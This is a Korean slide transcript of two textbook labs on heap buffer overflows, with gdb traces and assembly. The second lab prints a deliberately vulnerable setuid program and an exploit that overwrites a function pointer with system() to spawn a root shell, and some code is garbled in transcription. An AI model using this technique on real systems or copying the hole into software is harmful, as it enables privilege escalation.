실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

Slides:



Advertisements
Similar presentations
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Advertisements

Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.
Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술
Basic of Buffer Over Flow
Shellcode 작성 김영성.
2장. 프로그램의 기본 구성. 2장. 프로그램의 기본 구성 2-1"Hello, World!" 들여다 보기 /* Hello.c */ #include int main(void) { printf("Hello, World! \n"); return 0;
제14장 동적 메모리.
인공지능실험실 석사 2학기 이희재 TCP/IP Socket Programming… 제 11장 프로세스간 통신 인공지능실험실 석사 2학기 이희재
Chapter 6. 리눅스 백도어 황 선 환.
버퍼 오버플로우 by 강희원,김무혁.
컴퓨터 프로그래밍 기초 [Final] 기말고사
-Part2- 제3장 포인터란 무엇인가.
Department of Computer Science and Engineering
6 프로세스 생성과 실행.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
조 병 규 Software Quality Lab. 한국교통대학교
제15장 파일 입출력 문자열을 출력하는 여러가지 방법 (15-2쪽) 문자열만 처리하는 입출력 함수
Software Exploit and Kernel Protection
7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
쉽게 풀어쓴 C언어 Express 제17장 동적메모리와 연결리스트 C Express Slide 1 (of 13)
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
FND (Flexible Numeric Display)
10장 메모리 관리.
Department of Computer Engineering
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
포인터 활용 포인터 활용.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express.
Department of Computer Engineering
프로세스 생성[1] 프로그램 실행 : system(3) #include <stdlib.h>
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
컴퓨터 프로그래밍 기초 #02 : printf(), scanf()
임베디드 실습 # LED, 7’Segment 제어
메시지 큐[5] – test1.c 메시지 제어: msgctl(2) #include <sys/msg.h>
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
14장. 포인터와 함수에 대한 이해.
Buffer Overflow
Seoul National University
이름 : 황 상 두 전화번호 : 이메일 : PinTool 이름 : 황 상 두 전화번호 : 이메일 :
3장 상수 변수 기본 자료형 키워드와 식별자 상수와 변수 기본 자료형 형변환 자료형의 재정의.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express Slide 1 (of 22)
19. 함수 포인터와 void 포인터.
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
발표자료는 다음링크에서 다운로드 받으실 수 있습니다.
컴퓨터 프로그래밍 기초 - 10th : 포인터 및 구조체 -
Department of Computer Engineering
Copyrightⓒ ohta. All Rights Reserved.
컴퓨터 프로그래밍 기초 - 8th : 함수와 변수 / 배열 -
제9장 C 프로그래밍 환경 TOPCIT (Test of Practical Competency in IT)
컴퓨터 프로그래밍 기초 [01] Visual Studio 설치 및 사용방법
Department of Computer Engineering
Canary value 스택 가드(Stack Guard).
^^ Computer Programming 2 dmpr.cnu.ac.kr/~daygax.
디버깅 관련 옵션 실습해보기 발표 : 2008년 5월 19일 2분반 정 훈 승
Lab 1. 시스템 호출을 이용하는 mycp.c mycphint1.c & mycphint2.c coding & compile & run 제출 방법 (집에서도 접속 가능합니다) 2 Electronic versions: multi.incheon.ac.kr ( )의.
ARM Development Suite v1.2
3. 모듈 (5장. 모듈).
발표자 : 이지연 Programming Systems Lab.
3.2 분기 명령어.
구조체(struct)와 공용체(union)
실습과제 1번 생성된 파일 basic.txt를 프로젝트 폴더에서 메모장으로 열고 내용을 확인
바이트 순서 변환 함수 주소 변환 함수 바이트 조작 함수 원격지 호스트 정보를 얻는 함수
실습과제 (변수와 자료형, ) 1. 다음 작업 (가), (나), (다)를 수행하는 프로그램 작성
argc, argv 의 사용방법 #include <stdio.h>
1. 지역변수와 전역변수 2. auto, register 3. static,extern 4. 도움말 사용법
개정판 누구나 즐기는 C언어 콘서트 제13장 동적 메모리 출처: pixabay.
Assembly 05 방호남 07 반지훈 09 박상욱.
Pointers summary.
2019 2학기 9장 배열과 포인터 1. 주소, 주소연산자(&) 2. 포인터, 역참조연산자(*) 3. 배열과 포인터.
Presentation transcript:

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_01.c, heap_test_02.c 컴파일 heap_test_02.c는 gdb에서 디버깅할 예정이므로 -g 옵션 주어 컴파일 [그림 7-26] heap_test_01.c, heap_test_02.c 컴파일 1 gcc -o heap_test_01 heap_test_01.c gcc -g -o heap_test_02 heap_test_02.c

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_01 실행 결과 확인 malloc 함수 이용 힙에 메모리 공간 할당한 두 버퍼 값(buf1, buf2)의 오버플로우 전후 값 변화 확인 [그림 7-27] heap_test_01 실행 결과 이 결과를 가져온 것은 heap_test_01.c의 memset(buf1,‘ B’, (u_int)(address_diff +OVERSIZE)); 부분, address_diff(24, 0x18)과 OVERSIZE(8) 값을 더한 만큼 buf1에 입력. 즉 buf2가 OVERSIZE(8)만큼B 문자로 덮어씌워짐 2 ./heap_test_01 항목 오버플로우 전 내용 오버플로우 후 내용 buf1 없음 B 문자 32(24+8)개와 A 문자 7개 buf2 A 문자 15개 B 문자 8개와 A 문자 7개

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02 실행 결과 확인 heap_test_02를 실행 [그림 7-28] heap_test_02 실행 결과 3 ./heap_test_02

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 gdb로 heap_test_02의 main 함수 확인 [그림 7-29] gdb를 통한 heap_test_02 실행과 main 함수 어셈블리어 확인 4 gdb ./heap_test_02 disass main

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 main 함수의 내용을 어셈블리어 분석 0x8048440 <main>: push %ebp 0x8048441 <main+1>: mov %esp,%ebp 0x8048443 <main+3>: sub $0xc,%esp 0x8048446 <main+6>: push $0x10 0x8048448 <main+8>: call 0x8048334 <malloc> 0x804844d <main+13>: add $0x4,%esp 0x8048450 <main+16>: mov %eax,%eax 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp) 0x8048455 <main+21>: push $0x10 0x8048457 <main+23>: call 0x8048334 <malloc> 0x804845c <main+28>: add $0x4,%esp 0x804845f <main+31>: mov %eax,%eax 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp) 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx 0x804846a <main+42>: mov %eax,%ecx 0x804846c <main+44>: sub %edx,%ecx 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp) 0x8048471 <main+49>: push $0xf 0x8048473 <main+51>: push $0x41

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax 0x8048478 <main+56>: push %eax 0x8048479 <main+57>: call 0x8048374 <memset> 0x804847e <main+62>: add $0xc,%esp 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax 0x8048484 <main+68>: add $0xf,%eax 0x8048487 <main+71>: movb $0x0,(%eax) 0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax 0x804848d <main+77>: add $0x8,%eax 0x8048490 <main+80>: push %eax 0x8048491 <main+81>: push $0x42 0x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax 0x8048496 <main+86>: push %eax 0x8048497 <main+87>: call 0x8048374 <memset> 0x804849c <main+92>: add $0xc,%esp 0x804849f <main+95>: mov 0xfffffff4(%ebp),%eax 0x80484a2 <main+98>: push %eax 0x80484a3 <main+99>: push $0x8048540 0x80484a8 <main+104>: call 0x8048364 <printf> 0x80484ad <main+109>: add $0x8,%esp 0x80484b0 <main+112>: xor %eax,%eax 0x80484b2 <main+114>: jmp 0x80484b4 <main+116> 0x80484b4 <main+116>: leave 0x80484b5 <main+117>: ret

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 u_long address_diff;까지 실행 확인 main 함수에 브레이크 포인트 설정, 실행 u_long address_diff; 다음인 char*buf1 = (char *)malloc(16);에서 실행 멈춤 [그림 7-30] main 함수 시작 포인트에 브레이크 포인트 설정 후 실행 5 break main run

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 어셈블리어 코드의 <main+3>까지 [그림7-30]의 실행 결과에 해당 unsigned long 값인 address_diff(4바이트), 포인터 주소 값인 char *buf1(4바이트)과 char *buf2(4바이트)에 대한 메모리가 12바이트(0xc)만큼 스택에 할당 스택에 할당된 12바이트의 주소에 힙 주소에 대한 포인터 값이 저장 실행 후 스택모습 : ebp 값이0xbffffd48이므로, sfp 값인0xbffffd68 앞의 세값은 u_long address_diff = 0x08049580, char *buf1 = 0x0804956c, char *buf2= 0x0804842b [그림 7-31] u_long address_diff; 실행 후 스택 확인 0x8048440 <main>: push %ebp 0x8048441 <main+1>: mov %esp,%ebp 0x8048443 <main+3>: sub $0xc,%esp info reg ebp info reg esp x/12xw $esp

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 char *buf1 = (char *)malloc(16);까지 실행 확인 next 명령 [그림 7-32] char *buf1 = (char *)malloc(16);까지 실행 어셈블리어 코드 6 next 0x8048446 <main+6>: push $0x10 0x8048448 <main+8>: call 0x8048334 <malloc> 0x804844d <main+13>: add $0x4,%esp 0x8048450 <main+16>: mov %eax,%eax 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp)

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 Malloc에 의해 buf1에 대한 포인터 주소 값 할당, 힙은 초기화 [그림 7-33] char *buf1 = (char *)malloc(16); 실행 후 스택 확인 buf1의힙에서의주소(0x08049668)를확인 [그림 7-34] char *buf1 = (char *)malloc(16); 실행 후 힙의 buf1 값 확인 info reg esp x/12xw $esp x/4xw 0x8049668

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 char *buf2 = (char *)malloc(16);까지 실행 확인 char *buf1 = (char *)malloc(16); 실행과 동일 [그림 7-35] char *buf1 = (char *)malloc(16); 실행 후 스택과 힙의 buf2 값 확인 어셈블리어 코드 7 next info reg esp x/12xw $esp x/4xw 0x8049680 0x8048455 <main+21>: push $0x10 0x8048457 <main+23>: call 0x8048334 <malloc> 0x804845c <main+28>: add $0x4,%esp 0x804845f <main+31>: mov %eax,%eax 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp)

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 address_diff = (u_long)buf2 - (u_long)buf1;까지 실행 확인 address_diff에0x18이 저장 - 0x18(24)(0x8049680 - 0x8049668) [그림 7-36] address_diff = (u_long)buf2 - (u_long)buf1; 실행 시 스택 구조 어셈블리어 코드 8 next x/12xw $esp print address_diff 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx 0x804846a <main+42>: mov %eax,%ecx 0x804846c <main+44>: sub %edx,%ecx 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp)

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 memset(buf2,‘ A’, 15), buf2[15] =‘ \0’;까지 실행 확인 buf2에A 문자를 15개 입력 후 확인 [그림 7-37] memset(buf2, ‘A’, 15) 실행 후 힙에서 buf2 값 확인 어셈블리어 코드 9 next x/4xw 0x8049680 0x8048471 <main+49>: push $0xf 0x8048473 <main+51>: push $0x41 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax 0x8048478 <main+56>: push %eax 0x8048479 <main+57>: call 0x8048374 <memset> 0x804847e <main+62>: add $0xc,%esp 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax 0x8048484 <main+68>: add $0xf,%eax 0x8048487 <main+71>: movb $0x0,(%eax)

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 memset(buf1,‘ B’, (u_int)(address_diff + 8));까지 실행 확인 B 문자 32(24+8)개를 buf1에 입력 후 확인 [그림 7-39] memset(buf1, ‘B’, (u_int)(address_diff + 8)); 실행 후 buf1 값을 힙에서 확인 buf2 영역이었던 메모리 영역까지 buf1의B(42) 문자 저장 여기에서 힙 버퍼 오버플로우가 일어난 것 10 next x/12xw 0x8049668

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 어셈블리어 코드 0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax 0x804848d <main+77>: add $0x8,%eax 0x8048490 <main+80>: push %eax 0x8048491 <main+81>: push $0x42 0x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax 0x8048496 <main+86>: push %eax 0x8048497 <main+87>: call 0x8048374 <memset> 0x804849c <main+92>: add $0xc,%esp

실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 취약점을 이용해 관리자 권한의 셸을 획득하는 실습 heap-bugfile.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dlfcn.h> #define ERROR -1 int fucntion(const char *str){ printf("function 포인터에 호출되는 정상적인 함수\n", str); return 0; } int main(int argc, char **argv){ static char buf[16]; static int(*funcptr)(const char *str); if(argc <= 2) { fprintf(stderr, "사용법: %s <buffer> <fucntion's arg>\n", argv[0]); exit(ERROR); printf("system() 함수의 주소 값 = %p\n", &system); funcptr = (int (*)(const char *str))fucntion; memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); (void)(*funcptr)(argv[2]);

실습 7-4 힙 버퍼 오버플로우 수행하기 heap-exploit.c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 16 // 함수 포인터(funcptr)과 buf와의 거리 #define BUGPROG "./heap-bugfile" // 취약 프로그램의 위치 #define CMD "/bin/sh" // 실행할 명령 #define ERROR -1 int main(int argc, char **argv){ register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; if(argc <= 1){ fprintf(stderr, "Usage: %s <offset>\n", argv[0]); exit(ERROR); } sysaddr =(u_long)&system - atoi(argv[1]); printf("Trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', 16); for(i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(BUGPROG, BUGPROG, buf, CMD, NULL); return 0;

실습 7-4 힙 버퍼 오버플로우 수행하기 heap-bugfile.c 컴파일, 권한 부여 1 gcc -o heap-bugfile heap-bugfile.c chmod 4755 heap-bugfile ls -al 2 ./heap-bugfile 10 wishfree

실습 7-4 힙 버퍼 오버플로우 수행하기 공격 코드 컴파일 gcc -g -o heap-exploit heap-exploit.c 3 gcc -g -o heap-exploit heap-exploit.c ls -al

실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 공격 수행 공격 시 오프셋(Offset) 값 임의로 입력 heap_bugfile의 System() 주소값과 공격코드heap-exploit 이 시도하는 system() 함수의 주소 값을 일치시키는 값을 찾음 임의로 8을 입력하면 0x8048400가 0x80484fc와 4바이트 차이 오프셋을 12바이트로 공격 시도, 관리자 권한의 셸이 뜨는 것 확인 [그림 7-44] 임의의 값을 인수로 입력해 heap-exploit 실행 [그림 7-45] system 함수의 주소 값이 일치하도록 인수 값 입력 후 heap-exploit 실행 4 ./heap_exploit 8 ./heap_exploit 12

실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 공격 내용 확인 heap-exploit.c의 ‘execl(BUGPROG, BUGPROG, buf, CMD, NULL);’에 브레이크 포인트 설정, 앞서 공격 성공한 인수 값12 넣고, run 명령으로 heap-exploit 실행 [그림 7-46] 공격 내용 분석을 위한 브레이크 포인트 설정 후 heap-exploit 실행 5 gdb heap_exploit list 28, 31 break 31 run 12

실습 7-4 힙 버퍼 오버플로우 수행하기 실질적 공격은 브레이크 포인트 설정한 execl 함수에서 실행 execl은 시스템에서 라이브러리로 제공되는 exec 계열 함수 중 하나, 현재 프로세스 이미지의 실행 파일을 실행해서 새로운 프로세스 이미지 획득 브레이크 포인트를 설정한 함수의 내용을 여기에 맞춰보면 다음과 같다. •const char *path - BUGPROG : ./heap-bugfile •const char *arg0 - BUGPROG : ./heap-bugfile •const char *arg1 - buf •const char *arg0 - CMD : /bin/sh int execl(const char *path, const char *arg0, ... , const char *argn, NULL); execl(BUGPROG, BUGPROG, buf, CMD, NULL);

실습 7-4 힙 버퍼 오버플로우 수행하기 실제 셸에서 다음과 같이 실행된 것과 같다. buf 값을 gdb에서 확인 ./heap-bugfile buf /bin/sh [그림 7-47] buf 주소와 힙에서 buf 값 확인 print buf print &buf x/16xw &buf

실습 7-4 힙 버퍼 오버플로우 수행하기 힙 주소에 저장된 buf 값 heap-exploit.c는 다음과 같은 형태의 공격 수행 공격 수행 결과 힙의 funcptr 값이 system 함수가 있는 0x080483fc로 바뀜 /bin/sh을 인수로 실행하여 system(/bin/sh) 명령을 수행한 것과 같은 결과 주소 값 0x80696a4 0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc ./heap-bugfile '0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc' /bin/sh